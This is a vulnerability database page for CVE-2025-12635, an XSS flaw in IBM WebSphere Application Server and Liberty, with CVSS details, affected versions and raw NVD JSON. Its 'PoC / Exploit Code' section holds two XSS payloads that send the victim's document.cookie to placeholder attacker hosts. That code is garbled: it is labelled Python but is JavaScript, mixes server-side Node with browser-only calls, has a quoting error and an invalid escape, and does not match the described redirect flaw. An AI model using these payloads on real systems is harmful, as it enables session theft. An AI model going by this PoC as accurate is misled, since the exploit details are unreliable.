Security Vulnerability Report
中文
CVE-2025-12635 CVSS 5.4 MEDIUM

CVE-2025-12635

Published: 2025-12-08 22:15:49
Last Modified: 2025-12-11 00:01:22

Description

IBM WebSphere Application Server 8.5, 9.0 and IBM WebSphere Application Server Liberty 17.0.0.3 through 25.0.0.12 are affected by cross-site scripting due to improper validation of user-supplied input. An attacker could exploit this vulnerability by using a specially crafted URL to redirect the user to a malicious site.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:ibm:websphere_application_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:websphere_application_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:websphere_application_server:*:*:*:*:liberty:*:*:* - VULNERABLE
IBM WebSphere Application Server 8.5
IBM WebSphere Application Server 9.0
IBM WebSphere Application Server Liberty 17.0.0.3
IBM WebSphere Application Server Liberty 17.0.0.4
IBM WebSphere Application Server Liberty 17.0.0.5
IBM WebSphere Application Server Liberty 18.0.0.1
IBM WebSphere Application Server Liberty 18.0.0.2
IBM WebSphere Application Server Liberty 19.0.0.1
IBM WebSphere Application Server Liberty 19.0.0.2
IBM WebSphere Application Server Liberty 19.0.0.3
IBM WebSphere Application Server Liberty 19.0.0.4
IBM WebSphere Application Server Liberty 19.0.0.5
IBM WebSphere Application Server Liberty 19.0.0.6
IBM WebSphere Application Server Liberty 19.0.0.7
IBM WebSphere Application Server Liberty 19.0.0.8
IBM WebSphere Application Server Liberty 19.0.0.9
IBM WebSphere Application Server Liberty 20.0.0.1
IBM WebSphere Application Server Liberty 20.0.0.2
IBM WebSphere Application Server Liberty 20.0.0.3
IBM WebSphere Application Server Liberty 20.0.0.4
IBM WebSphere Application Server Liberty 20.0.0.5
IBM WebSphere Application Server Liberty 20.0.0.6
IBM WebSphere Application Server Liberty 20.0.0.7
IBM WebSphere Application Server Liberty 20.0.0.8
IBM WebSphere Application Server Liberty 20.0.0.9
IBM WebSphere Application Server Liberty 20.0.0.10
IBM WebSphere Application Server Liberty 21.0.0.1
IBM WebSphere Application Server Liberty 21.0.0.2
IBM WebSphere Application Server Liberty 21.0.0.3
IBM WebSphere Application Server Liberty 21.0.0.4
IBM WebSphere Application Server Liberty 21.0.0.5
IBM WebSphere Application Server Liberty 21.0.0.6
IBM WebSphere Application Server Liberty 21.0.0.7
IBM WebSphere Application Server Liberty 21.0.0.8
IBM WebSphere Application Server Liberty 21.0.0.9
IBM WebSphere Application Server Liberty 22.0.0.1
IBM WebSphere Application Server Liberty 22.0.0.2
IBM WebSphere Application Server Liberty 22.0.0.3
IBM WebSphere Application Server Liberty 22.0.0.4
IBM WebSphere Application Server Liberty 22.0.0.5
IBM WebSphere Application Server Liberty 22.0.0.6
IBM WebSphere Application Server Liberty 22.0.0.7
IBM WebSphere Application Server Liberty 22.0.0.8
IBM WebSphere Application Server Liberty 22.0.0.9
IBM WebSphere Application Server Liberty 22.0.0.10
IBM WebSphere Application Server Liberty 22.0.0.11
IBM WebSphere Application Server Liberty 22.0.0.12
IBM WebSphere Application Server Liberty 23.0.0.1
IBM WebSphere Application Server Liberty 23.0.0.2
IBM WebSphere Application Server Liberty 23.0.0.3
IBM WebSphere Application Server Liberty 23.0.0.4
IBM WebSphere Application Server Liberty 23.0.0.5
IBM WebSphere Application Server Liberty 23.0.0.6
IBM WebSphere Application Server Liberty 23.0.0.7
IBM WebSphere Application Server Liberty 23.0.0.8
IBM WebSphere Application Server Liberty 23.0.0.9
IBM WebSphere Application Server Liberty 23.0.0.10
IBM WebSphere Application Server Liberty 23.0.0.11
IBM WebSphere Application Server Liberty 23.0.0.12
IBM WebSphere Application Server Liberty 24.0.0.1
IBM WebSphere Application Server Liberty 24.0.0.2
IBM WebSphere Application Server Liberty 24.0.0.3
IBM WebSphere Application Server Liberty 24.0.0.4
IBM WebSphere Application Server Liberty 24.0.0.5
IBM WebSphere Application Server Liberty 24.0.0.6
IBM WebSphere Application Server Liberty 24.0.0.7
IBM WebSphere Application Server Liberty 24.0.0.8
IBM WebSphere Application Server Liberty 24.0.0.9
IBM WebSphere Application Server Liberty 24.0.0.10
IBM WebSphere Application Server Liberty 24.0.0.11
IBM WebSphere Application Server Liberty 24.0.0.12
IBM WebSphere Application Server Liberty 25.0.0.1
IBM WebSphere Application Server Liberty 25.0.0.2
IBM WebSphere Application Server Liberty 25.0.0.3
IBM WebSphere Application Server Liberty 25.0.0.4
IBM WebSphere Application Server Liberty 25.0.0.5
IBM WebSphere Application Server Liberty 25.0.0.6
IBM WebSphere Application Server Liberty 25.0.0.7
IBM WebSphere Application Server Liberty 25.0.0.8
IBM WebSphere Application Server Liberty 25.0.0.9
IBM WebSphere Application Server Liberty 25.0.0.10
IBM WebSphere Application Server Liberty 25.0.0.11
IBM WebSphere Application Server Liberty 25.0.0.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-12635 XSS PoC for IBM WebSphere // This PoC demonstrates the XSS vulnerability in IBM WebSphere Application Server const http = require('http'); // Malicious URL with XSS payload // Replace TARGET_HOST with the vulnerable IBM WebSphere server address const TARGET_HOST = 'vulnerable-server.example.com'; const TARGET_PORT = 9443; // XSS payload that redirects user to malicious site // The payload exploits improper input validation in URL parameters const xssPayload = '<script>document.location="http://malicious-site.example.com/steal?cookie=' + encodeURIComponent(document.cookie) + '"</script>'; // Alternative XSS payload using img tag with onerror event const imgPayload = '<img src=x onerror="fetch('http://attacker-server.example.com/log?c='+document.cookie)"> '; // Construct the malicious URL const maliciousPath = '/ibm/console/portal/../../../;\u00fsome/path?param=' + encodeURIComponent(xssPayload); console.log('CVE-2025-12635 IBM WebSphere XSS PoC'); console.log('====================================='); console.log('Target:', TARGET_HOST + ':' + TARGET_PORT); console.log('Malicious URL:', 'https://' + TARGET_HOST + ':' + TARGET_PORT + maliciousPath); console.log(''); console.log('XSS Payload (URL encoded):', encodeURIComponent(xssPayload)); console.log(''); console.log('Note: This PoC demonstrates the vulnerability concept.'); console.log('The actual exploitation requires the victim to visit the malicious URL.');

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12635", "sourceIdentifier": "[email protected]", "published": "2025-12-08T22:15:49.390", "lastModified": "2025-12-11T00:01:21.897", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM WebSphere Application Server 8.5, 9.0 and IBM WebSphere Application Server Liberty 17.0.0.3 through 25.0.0.12 are affected by cross-site scripting due to improper validation of user-supplied input. An attacker could exploit this vulnerability by using a specially crafted URL to redirect the user to a malicious site."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:websphere_application_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.5", "versionEndExcluding": "8.5.5.29", "matchCriteriaId": "F3FAEFC6-15B9-4787-B3F6-4EC29BBC546C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:websphere_application_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0", "versionEndExcluding": "9.0.5.27", "matchCriteriaId": "5016ACF6-369F-4554-9EFA-ACAE358BCC2A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:websphere_application_server:*:*:*:*:liberty:*:*:*", "versionStartIncluding": "17.0.0.3", "versionEndExcluding": "26.0.0.1", "matchCriteriaId": "7D2B4A85-1B09-41A9-8582-B6A8316583F9"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7254078", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}